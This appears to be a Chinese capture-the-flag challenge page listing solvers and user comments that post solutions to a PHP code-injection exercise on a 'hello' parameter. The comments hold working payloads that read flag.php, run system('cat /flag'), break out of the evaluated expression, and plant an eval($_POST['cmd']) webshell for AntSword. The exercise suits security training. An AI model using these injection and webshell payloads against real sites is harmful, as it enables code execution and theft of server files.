评分(10)
解题动态
19972908208 攻破了该题 9小时前
CN19169645762 攻破了该题 10小时前
cx17325821892 攻破了该题 13小时前
xiniannian 攻破了该题 16小时前
kgdw1313113 攻破了该题 17小时前
william5678 攻破了该题 18小时前
银色子弹 攻破了该题 21小时前
1qaz2wsx2026 攻破了该题 21小时前
LLLEI 攻破了该题 21小时前
好久不见丶 攻破了该题 21小时前
男小孩 攻破了该题 21小时前
qq111111 攻破了该题 1天前
1302074808 攻破了该题 1天前
woshicaocao 攻破了该题 1天前
beta_ 攻破了该题 1天前
ironessi 攻破了该题 1天前
Turbo_Lonely 攻破了该题 2天前
kms1 攻破了该题 2天前
jacklucky 攻破了该题 2天前
评论
kitniu 19天前
举报
file()是 " 的HTML 实体编码，是 PHP 内置的文件系统函数，核心功能是将整个文件按行读入一个字符串数组，每行（含换行符）为一个数组元素。 http://171.80.2.169:10115/?hello=file(%27flag.php%27)
qth18700737704 29天前
举报
?hello=eval(system(%27cat%20/flag%27))
19153693078 1月前
举报
根据代码php文件中包含flag.php 将传值hello得结果赋值给a，输出a得值，?hello=1 输出int 1,尝试将结果换成flag.php输出string(8) "flag.php",格式还是有问题的，考虑其是php文件，尝试?hello=file("flag.php"),得到文件中内容
auroraSEA 1月前
举报
?hello=show_source(%27flag.php%27)
chm 3月前
举报
http://171.80.2.169:19841/?hello=file(%22flag.php%22)
yiya咿呀 4月前
举报
url/?hello=eval(system('cat /flag'))
道法自然 4月前
举报
蚁剑直接 url/?hello=eval($_POST['cmd')
1nfinix 4月前
举报
构造payload： ?hello=);highlight_file('flag.php');// 或者 ?hello=);system('cat flag.php');//
lins11 4月前
举报
/?hello=file_get_contents(%27php://filter/read=convert.base64-encode/resource=flag.php%27) ->base64解码
叱咤月海鱼鱼猫 5月前
举报
?hello=highlight_file('flag.php')